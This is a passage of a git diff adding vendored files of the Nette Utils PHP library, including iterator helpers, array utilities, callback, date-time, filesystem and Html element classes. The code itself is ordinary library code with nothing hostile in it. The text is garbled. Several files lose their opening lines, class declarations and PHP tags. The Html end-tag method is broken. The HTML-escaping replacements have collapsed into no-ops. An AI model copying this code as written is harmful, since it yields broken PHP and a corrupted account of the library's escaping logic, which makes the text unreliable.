+ } while ($iterator instanceof \IteratorAggregate); + assert($iterator instanceof \Iterator); + + } elseif ($iterator instanceof \Iterator) { + } elseif ($iterator instanceof \Traversable) { + $iterator = new \IteratorIterator($iterator); + } else { + throw new Nette\InvalidArgumentException(sprintf('Invalid argument passed to %s; array or Traversable expected, %s given.', __CLASS__, is_object($iterator) ? get_class($iterator) : gettype($iterator))); + } + + parent::__construct($iterator, 0); + } + + + /** + * Is the current element the first one? + */ + public function isFirst(int $gridWidth = null): bool + { + return $this->counter === 1 || ($gridWidth && $this->counter !== 0 && (($this->counter - 1) % $gridWidth) === 0); + } + + + /** + * Is the current element the last one? + */ + public function isLast(int $gridWidth = null): bool + { + return !$this->hasNext() || ($gridWidth && ($this->counter % $gridWidth) === 0); + } + + + /** + * Is the iterator empty? + */ + public function isEmpty(): bool + { + return $this->counter === 0; + } + + + /** + * Is the counter odd? + */ + public function isOdd(): bool + { + return $this->counter % 2 === 1; + } + + + /** + * Is the counter even? + */ + public function isEven(): bool + { + return $this->counter % 2 === 0; + } + + + /** + * Returns the counter. + */ + public function getCounter(): int + { + return $this->counter; + } + + + /** + * Returns the count of elements. + */ + public function count(): int + { + $inner = $this->getInnerIterator(); + if ($inner instanceof \Countable) { + return $inner->count(); + + } else { + throw new Nette\NotSupportedException('Iterator is not countable.'); + } + } + + + /** + * Forwards to the next element. + */ + public function next(): void + { + parent::next(); + if (parent::valid()) { + $this->counter++; + } + } + + + /** + * Rewinds the Iterator. + */ + public function rewind(): void + { + parent::rewind(); + $this->counter = parent::valid() ? 1 : 0; + } + + + /** + * Returns the next key. + * @return mixed + */ + public function getNextKey() + { + return $this->getInnerIterator()->key(); + } + + + /** + * Returns the next element. + * @return mixed + */ + public function getNextValue() + { + return $this->getInnerIterator()->current(); + } +} diff --git a/vendor/nette/utils/src/Iterators/Mapper.php b/vendor/nette/utils/src/Iterators/Mapper.php new file mode 100644 index 0000000..fec8086 --- /dev/null +++ b/vendor/nette/utils/src/Iterators/Mapper.php @@ -0,0 +1,34 @@ +callback = $callback; + } + + + public function current() + { + return ($this->callback)(parent::current(), parent::key()); + } +} diff --git a/vendor/nette/utils/src/Utils/ArrayHash.php b/vendor/nette/utils/src/Utils/ArrayHash.php new file mode 100644 index 0000000..d844609 --- /dev/null +++ b/vendor/nette/utils/src/Utils/ArrayHash.php @@ -0,0 +1,99 @@ + $value) { + if ($recursive && is_array($value)) { + $obj->$key = static::from($value, true); + } else { + $obj->$key = $value; + } + } + return $obj; + } + + + /** + * Returns an iterator over all items. + */ + public function getIterator(): \RecursiveArrayIterator + { + return new \RecursiveArrayIterator((array) $this); + } + + + /** + * Returns items count. + */ + public function count(): int + { + return count((array) $this); + } + + + /** + * Replaces or appends a item. + * @param string|int $key + * @param mixed $value + */ + public function offsetSet($key, $value): void + { + if (!is_scalar($key)) { // prevents null + throw new Nette\InvalidArgumentException(sprintf('Key must be either a string or an integer, %s given.', gettype($key))); + } + $this->$key = $value; + } + + + /** + * Returns a item. + * @param string|int $key + * @return mixed + */ + public function offsetGet($key) + { + return $this->$key; + } + + + /** + * Determines whether a item exists. + * @param string|int $key + */ + public function offsetExists($key): bool + { + return isset($this->$key); + } + + + /** + * Removes the element from this list. + * @param string|int $key + */ + public function offsetUnset($key): void + { + unset($this->$key); + } +} diff --git a/vendor/nette/utils/src/Utils/ArrayList.php b/vendor/nette/utils/src/Utils/ArrayList.php new file mode 100644 index 0000000..dd00903 --- /dev/null +++ b/vendor/nette/utils/src/Utils/ArrayList.php @@ -0,0 +1,113 @@ +list); + } + + + /** + * Returns items count. + */ + public function count(): int + { + return count($this->list); + } + + + /** + * Replaces or appends a item. + * @param int|null $index + * @param mixed $value + * @throws Nette\OutOfRangeException + */ + public function offsetSet($index, $value): void + { + if ($index === null) { + $this->list[] = $value; + + } elseif (!is_int($index) || $index < 0 || $index >= count($this->list)) { + throw new Nette\OutOfRangeException('Offset invalid or out of range'); + + } else { + $this->list[$index] = $value; + } + } + + + /** + * Returns a item. + * @param int $index + * @return mixed + * @throws Nette\OutOfRangeException + */ + public function offsetGet($index) + { + if (!is_int($index) || $index < 0 || $index >= count($this->list)) { + throw new Nette\OutOfRangeException('Offset invalid or out of range'); + } + return $this->list[$index]; + } + + + /** + * Determines whether a item exists. + * @param int $index + */ + public function offsetExists($index): bool + { + return is_int($index) && $index >= 0 && $index < count($this->list); + } + + + /** + * Removes the element at the specified position in this list. + * @param int $index + * @throws Nette\OutOfRangeException + */ + public function offsetUnset($index): void + { + if (!is_int($index) || $index < 0 || $index >= count($this->list)) { + throw new Nette\OutOfRangeException('Offset invalid or out of range'); + } + array_splice($this->list, $index, 1); + } + + + /** + * Prepends a item. + * @param mixed $value + */ + public function prepend($value): void + { + $first = array_slice($this->list, 0, 1); + $this->offsetSet(0, $value); + array_splice($this->list, 1, 0, $first); + } +} diff --git a/vendor/nette/utils/src/Utils/Arrays.php b/vendor/nette/utils/src/Utils/Arrays.php new file mode 100644 index 0000000..c4e956c --- /dev/null +++ b/vendor/nette/utils/src/Utils/Arrays.php @@ -0,0 +1,337 @@ + $v) { + if (is_array($v) && is_array($array2[$k])) { + $res[$k] = self::mergeTree($v, $array2[$k]); + } + } + return $res; + } + + + /** + * Returns zero-indexed position of given array key. Returns null if key is not found. + * @param string|int $key + * @return int|null offset if it is found, null otherwise + */ + public static function searchKey(array $array, $key): ?int + { + return Helpers::falseToNull(array_search(self::toKey($key), array_keys($array), true)); + } + + + /** + * Inserts the contents of the $inserted array into the $array immediately after the $key. + * If $key is null (or does not exist), it is inserted at the end. + * @param string|int|null $key + */ + public static function insertBefore(array &$array, $key, array $inserted): void + { + $offset = (int) self::searchKey($array, $key); + $array = array_slice($array, 0, $offset, true) + + $inserted + + array_slice($array, $offset, count($array), true); + } + + + /** + * Inserts the contents of the $inserted array into the $array before the $key. + * If $key is null (or does not exist), it is inserted at the beginning. + * @param string|int|null $key + */ + public static function insertAfter(array &$array, $key, array $inserted): void + { + $offset = self::searchKey($array, $key); + $offset = $offset === null ? count($array) : $offset + 1; + $array = array_slice($array, 0, $offset, true) + + $inserted + + array_slice($array, $offset, count($array), true); + } + + + /** + * Renames key in array. + * @param string|int $oldKey + * @param string|int $newKey + */ + public static function renameKey(array &$array, $oldKey, $newKey): bool + { + $offset = self::searchKey($array, $oldKey); + if ($offset === null) { + return false; + } + $val = &$array[$oldKey]; + $keys = array_keys($array); + $keys[$offset] = $newKey; + $array = array_combine($keys, $array); + $array[$newKey] = &$val; + return true; + } + + + /** + * Returns only those array items, which matches a regular expression $pattern. + * @throws Nette\RegexpException on compilation or runtime error + */ + public static function grep(array $array, string $pattern, int $flags = 0): array + { + return Strings::pcre('preg_grep', [$pattern, $array, $flags]); + } + + + /** + * Transforms multidimensional array to flat array. + */ + public static function flatten(array $array, bool $preserveKeys = false): array + { + $res = []; + $cb = $preserveKeys + ? function ($v, $k) use (&$res): void { $res[$k] = $v; } + : function ($v) use (&$res): void { $res[] = $v; }; + array_walk_recursive($array, $cb); + return $res; + } + + + /** + * Checks if the array is indexed in ascending order of numeric keys from zero, a.k.a list. + * @param mixed $value + */ + public static function isList($value): bool + { + return is_array($value) && (!$value || array_keys($value) === range(0, count($value) - 1)); + } + + + /** + * Reformats table to associative tree. Path looks like 'field|field[]field->field=field'. + * @param string|string[] $path + * @return array|\stdClass + */ + public static function associate(array $array, $path) + { + $parts = is_array($path) + ? $path + : preg_split('#(\[\]|->|=|\|)#', $path, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); + + if (!$parts || $parts === ['->'] || $parts[0] === '=' || $parts[0] === '|') { + throw new Nette\InvalidArgumentException("Invalid path '$path'."); + } + + $res = $parts[0] === '->' ? new \stdClass : []; + + foreach ($array as $rowOrig) { + $row = (array) $rowOrig; + $x = &$res; + + for ($i = 0; $i < count($parts); $i++) { + $part = $parts[$i]; + if ($part === '[]') { + $x = &$x[]; + + } elseif ($part === '=') { + if (isset($parts[++$i])) { + $x = $row[$parts[$i]]; + $row = null; + } + + } elseif ($part === '->') { + if (isset($parts[++$i])) { + if ($x === null) { + $x = new \stdClass; + } + $x = &$x->{$row[$parts[$i]]}; + } else { + $row = is_object($rowOrig) ? $rowOrig : (object) $row; + } + + } elseif ($part !== '|') { + $x = &$x[(string) $row[$part]]; + } + } + + if ($x === null) { + $x = $row; + } + } + + return $res; + } + + + /** + * Normalizes array to associative array. Replace numeric keys with their values, the new value will be $filling. + * @param mixed $filling + */ + public static function normalize(array $array, $filling = null): array + { + $res = []; + foreach ($array as $k => $v) { + $res[is_int($k) ? $v : $k] = is_int($k) ? $filling : $v; + } + return $res; + } + + + /** + * Returns and removes the value of an item from an array. If it does not exist, it throws an exception, + * or returns $default, if provided. + * @param string|int $key + * @param mixed $default + * @return mixed + * @throws Nette\InvalidArgumentException if item does not exist and default value is not provided + */ + public static function pick(array &$array, $key, $default = null) + { + if (array_key_exists($key, $array)) { + $value = $array[$key]; + unset($array[$key]); + return $value; + + } elseif (func_num_args() < 3) { + throw new Nette\InvalidArgumentException("Missing item '$key'."); + + } else { + return $default; + } + } + + + /** + * Tests whether at least one element in the array passes the test implemented by the + * provided callback with signature `function ($value, $key, array $array): bool`. + */ + public static function some(array $array, callable $callback): bool + { + foreach ($array as $k => $v) { + if ($callback($v, $k, $array)) { + return true; + } + } + return false; + } + + + /** + * Tests whether all elements in the array pass the test implemented by the provided function, + * which has the signature `function ($value, $key, array $array): bool`. + */ + public static function every(array $array, callable $callback): bool + { + foreach ($array as $k => $v) { + if (!$callback($v, $k, $array)) { + return false; + } + } + return true; + } + + + /** + * Calls $callback on all elements in the array and returns the array of return values. + * The callback has the signature `function ($value, $key, array $array): bool`. + */ + public static function map(array $array, callable $callback): array + { + $res = []; + foreach ($array as $k => $v) { + $res[$k] = $callback($v, $k, $array); + } + return $res; + } + + + /** + * Copies the elements of the $array array to the $object object and then returns it. + * @param object $object + * @return object + */ + public static function toObject(array $array, $object) + { + foreach ($array as $k => $v) { + $object->$k = $v; + } + return $object; + } + + + /** + * Converts value to array key. + * @param mixed $value + * @return int|string + */ + public static function toKey($value) + { + return key([$value => null]); + } +} diff --git a/vendor/nette/utils/src/Utils/Callback.php b/vendor/nette/utils/src/Utils/Callback.php new file mode 100644 index 0000000..b9bc2a1 --- /dev/null +++ b/vendor/nette/utils/src/Utils/Callback.php @@ -0,0 +1,177 @@ +getMessage()); + } + } + + + /** + * Invokes callback. + * @return mixed + * @deprecated + */ + public static function invoke($callable, ...$args) + { + trigger_error(__METHOD__ . '() is deprecated, use native invoking.', E_USER_DEPRECATED); + self::check($callable); + return $callable(...$args); + } + + + /** + * Invokes callback with an array of parameters. + * @return mixed + * @deprecated + */ + public static function invokeArgs($callable, array $args = []) + { + trigger_error(__METHOD__ . '() is deprecated, use native invoking.', E_USER_DEPRECATED); + self::check($callable); + return $callable(...$args); + } + + + /** + * Invokes internal PHP function with own error handler. + * @return mixed + */ + public static function invokeSafe(string $function, array $args, callable $onError) + { + $prev = set_error_handler(function ($severity, $message, $file) use ($onError, &$prev, $function): ?bool { + if ($file === __FILE__) { + $msg = ini_get('html_errors') ? Html::htmlToText($message) : $message; + $msg = preg_replace("#^$function\(.*?\): #", '', $msg); + if ($onError($msg, $severity) !== false) { + return null; + } + } + return $prev ? $prev(...func_get_args()) : false; + }); + + try { + return $function(...$args); + } finally { + restore_error_handler(); + } + } + + + /** + * Checks that $callable is valid PHP callback. Otherwise throws exception. If the $syntax is set to true, only verifies + * that $callable has a valid structure to be used as a callback, but does not verify if the class or method actually exists. + * @param mixed $callable + * @return callable + * @throws Nette\InvalidArgumentException + */ + public static function check($callable, bool $syntax = false) + { + if (!is_callable($callable, $syntax)) { + throw new Nette\InvalidArgumentException($syntax + ? 'Given value is not a callable type.' + : sprintf("Callback '%s' is not callable.", self::toString($callable)) + ); + } + return $callable; + } + + + /** + * Converts PHP callback to textual form. Class or method may not exists. + * @param mixed $callable + */ + public static function toString($callable): string + { + if ($callable instanceof \Closure) { + $inner = self::unwrap($callable); + return '{closure' . ($inner instanceof \Closure ? '}' : ' ' . self::toString($inner) . '}'); + } elseif (is_string($callable) && $callable[0] === "\0") { + return '{lambda}'; + } else { + is_callable(is_object($callable) ? [$callable, '__invoke'] : $callable, true, $textual); + return $textual; + } + } + + + /** + * Returns reflection for method or function used in PHP callback. + * @param callable $callable type check is escalated to ReflectionException + * @return \ReflectionMethod|\ReflectionFunction + * @throws \ReflectionException if callback is not valid + */ + public static function toReflection($callable): \ReflectionFunctionAbstract + { + if ($callable instanceof \Closure) { + $callable = self::unwrap($callable); + } + + if (is_string($callable) && strpos($callable, '::')) { + return new \ReflectionMethod($callable); + } elseif (is_array($callable)) { + return new \ReflectionMethod($callable[0], $callable[1]); + } elseif (is_object($callable) && !$callable instanceof \Closure) { + return new \ReflectionMethod($callable, '__invoke'); + } else { + return new \ReflectionFunction($callable); + } + } + + + /** + * Checks whether PHP callback is function or static method. + */ + public static function isStatic(callable $callable): bool + { + return is_array($callable) ? is_string($callable[0]) : is_string($callable); + } + + + /** + * Unwraps closure created by Closure::fromCallable(). + */ + public static function unwrap(\Closure $closure): callable + { + $r = new \ReflectionFunction($closure); + if (substr($r->name, -1) === '}') { + return $closure; + + } elseif ($obj = $r->getClosureThis()) { + return [$obj, $r->name]; + + } elseif ($class = $r->getClosureScopeClass()) { + return [$class->name, $r->name]; + + } else { + return $r->name; + } + } +} diff --git a/vendor/nette/utils/src/Utils/DateTime.php b/vendor/nette/utils/src/Utils/DateTime.php new file mode 100644 index 0000000..45657c5 --- /dev/null +++ b/vendor/nette/utils/src/Utils/DateTime.php @@ -0,0 +1,130 @@ +format('Y-m-d H:i:s.u'), $time->getTimezone()); + + } elseif (is_numeric($time)) { + if ($time <= self::YEAR) { + $time += time(); + } + return (new static('@' . $time))->setTimezone(new \DateTimeZone(date_default_timezone_get())); + + } else { // textual or null + return new static((string) $time); + } + } + + + /** + * Creates DateTime object. + * @return static + * @throws Nette\InvalidArgumentException if the date and time are not valid. + */ + public static function fromParts(int $year, int $month, int $day, int $hour = 0, int $minute = 0, float $second = 0.0) + { + $s = sprintf('%04d-%02d-%02d %02d:%02d:%02.5f', $year, $month, $day, $hour, $minute, $second); + if (!checkdate($month, $day, $year) || $hour < 0 || $hour > 23 || $minute < 0 || $minute > 59 || $second < 0 || $second >= 60) { + throw new Nette\InvalidArgumentException("Invalid date '$s'"); + } + return new static($s); + } + + + /** + * Returns new DateTime object formatted according to the specified format. + * @param string $format The format the $time parameter should be in + * @param string $time + * @param string|\DateTimeZone $timezone (default timezone is used if null is passed) + * @return static|false + */ + public static function createFromFormat($format, $time, $timezone = null) + { + if ($timezone === null) { + $timezone = new \DateTimeZone(date_default_timezone_get()); + + } elseif (is_string($timezone)) { + $timezone = new \DateTimeZone($timezone); + + } elseif (!$timezone instanceof \DateTimeZone) { + throw new Nette\InvalidArgumentException('Invalid timezone given'); + } + + $date = parent::createFromFormat($format, $time, $timezone); + return $date ? static::from($date) : false; + } + + + /** + * Returns JSON representation in ISO 8601 (used by JavaScript). + */ + public function jsonSerialize(): string + { + return $this->format('c'); + } + + + /** + * Returns the date and time in the format 'Y-m-d H:i:s'. + */ + public function __toString(): string + { + return $this->format('Y-m-d H:i:s'); + } + + + /** + * Creates a copy with a modified time. + * @return static + */ + public function modifyClone(string $modify = '') + { + $dolly = clone $this; + return $modify ? $dolly->modify($modify) : $dolly; + } +} diff --git a/vendor/nette/utils/src/Utils/FileSystem.php b/vendor/nette/utils/src/Utils/FileSystem.php new file mode 100644 index 0000000..9856056 --- /dev/null +++ b/vendor/nette/utils/src/Utils/FileSystem.php @@ -0,0 +1,183 @@ +getPathname()); + } + foreach ($iterator = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($origin, \RecursiveDirectoryIterator::SKIP_DOTS), \RecursiveIteratorIterator::SELF_FIRST) as $item) { + if ($item->isDir()) { + static::createDir($target . '/' . $iterator->getSubPathName()); + } else { + static::copy($item->getPathname(), $target . '/' . $iterator->getSubPathName()); + } + } + + } else { + static::createDir(dirname($target)); + if (($s = @fopen($origin, 'rb')) && ($d = @fopen($target, 'wb')) && @stream_copy_to_stream($s, $d) === false) { // @ is escalated to exception + throw new Nette\IOException("Unable to copy file '$origin' to '$target'. " . Helpers::getLastError()); + } + } + } + + + /** + * Deletes a file or directory if exists. + * @throws Nette\IOException on error occurred + */ + public static function delete(string $path): void + { + if (is_file($path) || is_link($path)) { + $func = DIRECTORY_SEPARATOR === '\\' && is_dir($path) ? 'rmdir' : 'unlink'; + if (!@$func($path)) { // @ is escalated to exception + throw new Nette\IOException("Unable to delete '$path'. " . Helpers::getLastError()); + } + + } elseif (is_dir($path)) { + foreach (new \FilesystemIterator($path) as $item) { + static::delete($item->getPathname()); + } + if (!@rmdir($path)) { // @ is escalated to exception + throw new Nette\IOException("Unable to delete directory '$path'. " . Helpers::getLastError()); + } + } + } + + + /** + * Renames or moves a file or a directory. Overwrites existing files and directories by default. + * @throws Nette\IOException on error occurred + * @throws Nette\InvalidStateException if $overwrite is set to false and destination already exists + */ + public static function rename(string $origin, string $target, bool $overwrite = true): void + { + if (!$overwrite && file_exists($target)) { + throw new Nette\InvalidStateException("File or directory '$target' already exists."); + + } elseif (!file_exists($origin)) { + throw new Nette\IOException("File or directory '$origin' not found."); + + } else { + static::createDir(dirname($target)); + if (realpath($origin) !== realpath($target)) { + static::delete($target); + } + if (!@rename($origin, $target)) { // @ is escalated to exception + throw new Nette\IOException("Unable to rename file or directory '$origin' to '$target'. " . Helpers::getLastError()); + } + } + } + + + /** + * Reads the content of a file. + * @throws Nette\IOException on error occurred + */ + public static function read(string $file): string + { + $content = @file_get_contents($file); // @ is escalated to exception + if ($content === false) { + throw new Nette\IOException("Unable to read file '$file'. " . Helpers::getLastError()); + } + return $content; + } + + + /** + * Writes the string to a file. + * @throws Nette\IOException on error occurred + */ + public static function write(string $file, string $content, ?int $mode = 0666): void + { + static::createDir(dirname($file)); + if (@file_put_contents($file, $content) === false) { // @ is escalated to exception + throw new Nette\IOException("Unable to write file '$file'. " . Helpers::getLastError()); + } + if ($mode !== null && !@chmod($file, $mode)) { // @ is escalated to exception + throw new Nette\IOException("Unable to chmod file '$file' to mode " . decoct($mode) . '. ' . Helpers::getLastError()); + } + } + + + /** + * Determines if the path is absolute. + */ + public static function isAbsolute(string $path): bool + { + return (bool) preg_match('#([a-z]:)?[/\\\\]|[a-z][a-z0-9+.-]*://#Ai', $path); + } + + + /** + * Normalizes `..` and `.` and directory separators in path. + */ + public static function normalizePath(string $path): string + { + $parts = $path === '' ? [] : preg_split('~[/\\\\]+~', $path); + $res = []; + foreach ($parts as $part) { + if ($part === '..' && $res && end($res) !== '..' && end($res) !== '') { + array_pop($res); + } elseif ($part !== '.') { + $res[] = $part; + } + } + return $res === [''] + ? DIRECTORY_SEPARATOR + : implode(DIRECTORY_SEPARATOR, $res); + } + + + /** + * Joins all segments of the path and normalizes the result. + */ + public static function joinPaths(string ...$paths): string + { + return self::normalizePath(implode('/', $paths)); + } +} diff --git a/vendor/nette/utils/src/Utils/Helpers.php b/vendor/nette/utils/src/Utils/Helpers.php new file mode 100644 index 0000000..57c058d --- /dev/null +++ b/vendor/nette/utils/src/Utils/Helpers.php @@ -0,0 +1,71 @@ + element's attributes */ + public $attrs = []; + + /** @var bool use XHTML syntax? */ + public static $xhtml = false; + + /** @var array void elements */ + public static $emptyElements = [ + 'img' => 1, 'hr' => 1, 'br' => 1, 'input' => 1, 'meta' => 1, 'area' => 1, 'embed' => 1, 'keygen' => 1, + 'source' => 1, 'base' => 1, 'col' => 1, 'link' => 1, 'param' => 1, 'basefont' => 1, 'frame' => 1, + 'isindex' => 1, 'wbr' => 1, 'command' => 1, 'track' => 1, + ]; + + /** @var array nodes */ + protected $children = []; + + /** @var string element's name */ + private $name; + + /** @var bool is element empty? */ + private $isEmpty; + + + /** + * Constructs new HTML element. + * @param array|string $attrs element's attributes or plain text content + * @return static + */ + public static function el(string $name = null, $attrs = null) + { + $el = new static; + $parts = explode(' ', (string) $name, 2); + $el->setName($parts[0]); + + if (is_array($attrs)) { + $el->attrs = $attrs; + + } elseif ($attrs !== null) { + $el->setText($attrs); + } + + if (isset($parts[1])) { + foreach (Strings::matchAll($parts[1] . ' ', '#([a-z0-9:-]+)(?:=(["\'])?(.*?)(?(2)\2|\s))?#i') as $m) { + $el->attrs[$m[1]] = $m[3] ?? true; + } + } + + return $el; + } + + + /** + * Returns an object representing HTML text. + */ + public static function fromHtml(string $html): self + { + return (new static)->setHtml($html); + } + + + /** + * Returns an object representing plain text. + */ + public static function fromText(string $text): self + { + return (new static)->setText($text); + } + + + /** + * Converts to HTML. + */ + final public function toHtml(): string + { + return $this->render(); + } + + + /** + * Converts to plain text. + */ + final public function toText(): string + { + return $this->getText(); + } + + + /** + * Converts given HTML code to plain text. + */ + public static function htmlToText(string $html): string + { + return html_entity_decode(strip_tags($html), ENT_QUOTES | ENT_HTML5, 'UTF-8'); + } + + + /** + * Changes element's name. + * @return static + */ + final public function setName(string $name, bool $isEmpty = null) + { + $this->name = $name; + $this->isEmpty = $isEmpty ?? isset(static::$emptyElements[$name]); + return $this; + } + + + /** + * Returns element's name. + */ + final public function getName(): string + { + return $this->name; + } + + + /** + * Is element empty? + */ + final public function isEmpty(): bool + { + return $this->isEmpty; + } + + + /** + * Sets multiple attributes. + * @return static + */ + public function addAttributes(array $attrs) + { + $this->attrs = array_merge($this->attrs, $attrs); + return $this; + } + + + /** + * Appends value to element's attribute. + * @param mixed $value + * @param mixed $option + * @return static + */ + public function appendAttribute(string $name, $value, $option = true) + { + if (is_array($value)) { + $prev = isset($this->attrs[$name]) ? (array) $this->attrs[$name] : []; + $this->attrs[$name] = $value + $prev; + + } elseif ((string) $value === '') { + $tmp = &$this->attrs[$name]; // appending empty value? -> ignore, but ensure it exists + + } elseif (!isset($this->attrs[$name]) || is_array($this->attrs[$name])) { // needs array + $this->attrs[$name][$value] = $option; + + } else { + $this->attrs[$name] = [$this->attrs[$name] => true, $value => $option]; + } + return $this; + } + + + /** + * Sets element's attribute. + * @param mixed $value + * @return static + */ + public function setAttribute(string $name, $value) + { + $this->attrs[$name] = $value; + return $this; + } + + + /** + * Returns element's attribute. + * @return mixed + */ + public function getAttribute(string $name) + { + return $this->attrs[$name] ?? null; + } + + + /** + * Unsets element's attribute. + * @return static + */ + public function removeAttribute(string $name) + { + unset($this->attrs[$name]); + return $this; + } + + + /** + * Unsets element's attributes. + * @return static + */ + public function removeAttributes(array $attributes) + { + foreach ($attributes as $name) { + unset($this->attrs[$name]); + } + return $this; + } + + + /** + * Overloaded setter for element's attribute. + * @param mixed $value + */ + final public function __set(string $name, $value): void + { + $this->attrs[$name] = $value; + } + + + /** + * Overloaded getter for element's attribute. + * @return mixed + */ + final public function &__get(string $name) + { + return $this->attrs[$name]; + } + + + /** + * Overloaded tester for element's attribute. + */ + final public function __isset(string $name): bool + { + return isset($this->attrs[$name]); + } + + + /** + * Overloaded unsetter for element's attribute. + */ + final public function __unset(string $name): void + { + unset($this->attrs[$name]); + } + + + /** + * Overloaded setter for element's attribute. + * @return mixed + */ + final public function __call(string $m, array $args) + { + $p = substr($m, 0, 3); + if ($p === 'get' || $p === 'set' || $p === 'add') { + $m = substr($m, 3); + $m[0] = $m[0] | "\x20"; + if ($p === 'get') { + return $this->attrs[$m] ?? null; + + } elseif ($p === 'add') { + $args[] = true; + } + } + + if (count($args) === 0) { // invalid + + } elseif (count($args) === 1) { // set + $this->attrs[$m] = $args[0]; + + } else { // add + $this->appendAttribute($m, $args[0], $args[1]); + } + + return $this; + } + + + /** + * Special setter for element's attribute. + * @return static + */ + final public function href(string $path, array $query = null) + { + if ($query) { + $query = http_build_query($query, '', '&'); + if ($query !== '') { + $path .= '?' . $query; + } + } + $this->attrs['href'] = $path; + return $this; + } + + + /** + * Setter for data-* attributes. Booleans are converted to 'true' resp. 'false'. + * @param mixed $value + * @return static + */ + public function data(string $name, $value = null) + { + if (func_num_args() === 1) { + $this->attrs['data'] = $name; + } else { + $this->attrs["data-$name"] = is_bool($value) ? json_encode($value) : $value; + } + return $this; + } + + + /** + * Sets element's HTML content. + * @param IHtmlString|string $html + * @return static + */ + final public function setHtml($html) + { + $this->children = [(string) $html]; + return $this; + } + + + /** + * Returns element's HTML content. + */ + final public function getHtml(): string + { + return implode('', $this->children); + } + + + /** + * Sets element's textual content. + * @param IHtmlString|string|int|float $text + * @return static + */ + final public function setText($text) + { + if (!$text instanceof IHtmlString) { + $text = htmlspecialchars((string) $text, ENT_NOQUOTES, 'UTF-8'); + } + $this->children = [(string) $text]; + return $this; + } + + + /** + * Returns element's textual content. + */ + final public function getText(): string + { + return self::htmlToText($this->getHtml()); + } + + + /** + * Adds new element's child. + * @param IHtmlString|string $child Html node or raw HTML string + * @return static + */ + final public function addHtml($child) + { + return $this->insert(null, $child); + } + + + /** + * Appends plain-text string to element content. + * @param IHtmlString|string|int|float $text + * @return static + */ + public function addText($text) + { + if (!$text instanceof IHtmlString) { + $text = htmlspecialchars((string) $text, ENT_NOQUOTES, 'UTF-8'); + } + return $this->insert(null, $text); + } + + + /** + * Creates and adds a new Html child. + * @param array|string $attrs element's attributes or raw HTML string + * @return static created element + */ + final public function create(string $name, $attrs = null) + { + $this->insert(null, $child = static::el($name, $attrs)); + return $child; + } + + + /** + * Inserts child node. + * @param IHtmlString|string $child Html node or raw HTML string + * @return static + */ + public function insert(?int $index, $child, bool $replace = false) + { + $child = $child instanceof self ? $child : (string) $child; + if ($index === null) { // append + $this->children[] = $child; + + } else { // insert or replace + array_splice($this->children, $index, $replace ? 1 : 0, [$child]); + } + + return $this; + } + + + /** + * Inserts (replaces) child node (\ArrayAccess implementation). + * @param int|null $index position or null for appending + * @param Html|string $child Html node or raw HTML string + */ + final public function offsetSet($index, $child): void + { + $this->insert($index, $child, true); + } + + + /** + * Returns child node (\ArrayAccess implementation). + * @param int $index + * @return static|string + */ + final public function offsetGet($index) + { + return $this->children[$index]; + } + + + /** + * Exists child node? (\ArrayAccess implementation). + * @param int $index + */ + final public function offsetExists($index): bool + { + return isset($this->children[$index]); + } + + + /** + * Removes child node (\ArrayAccess implementation). + * @param int $index + */ + public function offsetUnset($index): void + { + if (isset($this->children[$index])) { + array_splice($this->children, $index, 1); + } + } + + + /** + * Returns children count. + */ + final public function count(): int + { + return count($this->children); + } + + + /** + * Removes all children. + */ + public function removeChildren(): void + { + $this->children = []; + } + + + /** + * Iterates over elements. + */ + final public function getIterator(): \ArrayIterator + { + return new \ArrayIterator($this->children); + } + + + /** + * Returns all children. + */ + final public function getChildren(): array + { + return $this->children; + } + + + /** + * Renders element's start tag, content and end tag. + */ + final public function render(int $indent = null): string + { + $s = $this->startTag(); + + if (!$this->isEmpty) { + // add content + if ($indent !== null) { + $indent++; + } + foreach ($this->children as $child) { + if ($child instanceof self) { + $s .= $child->render($indent); + } else { + $s .= $child; + } + } + + // add end tag + $s .= $this->endTag(); + } + + if ($indent !== null) { + return "\n" . str_repeat("\t", $indent - 1) . $s . "\n" . str_repeat("\t", max(0, $indent - 2)); + } + return $s; + } + + + final public function __toString(): string + { + try { + return $this->render(); + } catch (\Throwable $e) { + if (PHP_VERSION_ID >= 70400) { + throw $e; + } + trigger_error('Exception in ' . __METHOD__ . "(): {$e->getMessage()} in {$e->getFile()}:{$e->getLine()}", E_USER_ERROR); + return ''; + } + } + + + /** + * Returns element's start tag. + */ + final public function startTag(): string + { + return $this->name + ? '<' . $this->name . $this->attributes() . (static::$xhtml && $this->isEmpty ? ' />' : '>') + : ''; + } + + + /** + * Returns element's end tag. + */ + final public function endTag(): string + { + return $this->name && !$this->isEmpty ? 'name . '>' : ''; + } + + + /** + * Returns element's attributes. + * @internal + */ + final public function attributes(): string + { + if (!is_array($this->attrs)) { + return ''; + } + + $s = ''; + $attrs = $this->attrs; + foreach ($attrs as $key => $value) { + if ($value === null || $value === false) { + continue; + + } elseif ($value === true) { + if (static::$xhtml) { + $s .= ' ' . $key . '="' . $key . '"'; + } else { + $s .= ' ' . $key; + } + continue; + + } elseif (is_array($value)) { + if (strncmp($key, 'data-', 5) === 0) { + $value = Json::encode($value); + + } else { + $tmp = null; + foreach ($value as $k => $v) { + if ($v != null) { // intentionally ==, skip nulls & empty string + // composite 'style' vs. 'others' + $tmp[] = $v === true ? $k : (is_string($k) ? $k . ':' . $v : $v); + } + } + if ($tmp === null) { + continue; + } + + $value = implode($key === 'style' || !strncmp($key, 'on', 2) ? ';' : ' ', $tmp); + } + + } elseif (is_float($value)) { + $value = rtrim(rtrim(number_format($value, 10, '.', ''), '0'), '.'); + + } else { + $value = (string) $value; + } + + $q = strpos($value, '"') === false ? '"' : "'"; + $s .= ' ' . $key . '=' . $q + . str_replace( + ['&', $q, '<'], + ['&', $q === '"' ? '"' : ''', self::$xhtml ? '<' : '<'], + $value + ) + . (strpos($value, '`') !== false && strpbrk($value, ' <>"\'') === false ? ' ' : '') + . $q; + } + + $s = str_replace('@', '@', $s); + return $s; + } + + + /** + * Clones all children too. + */ + public function __clone() + { + foreach ($this->children as $key => $value) { + if (is_object($value)) { + $this->children[$key] = clone $value; + } + } + } +} diff --git a/vendor/nette/utils/src/Utils/IHtmlString.php b/vendor/nette/utils/src/Utils/IHtmlString.php new file mode 100644 index 0000000..8a63b74 --- /dev/null +++ b/vendor/nette/utils/src/Utils/IHtmlString.php @@ -0,0 +1,19 @@ + + * $image = Image::fromFile('nette.jpg'); + * $image->resize(150, 100); + * $image->sharpen(); + * $image->send(); + * + * + * @method Image affine(array $affine, array $clip = null) + * @method array affineMatrixConcat(array $m1, array $m2) + * 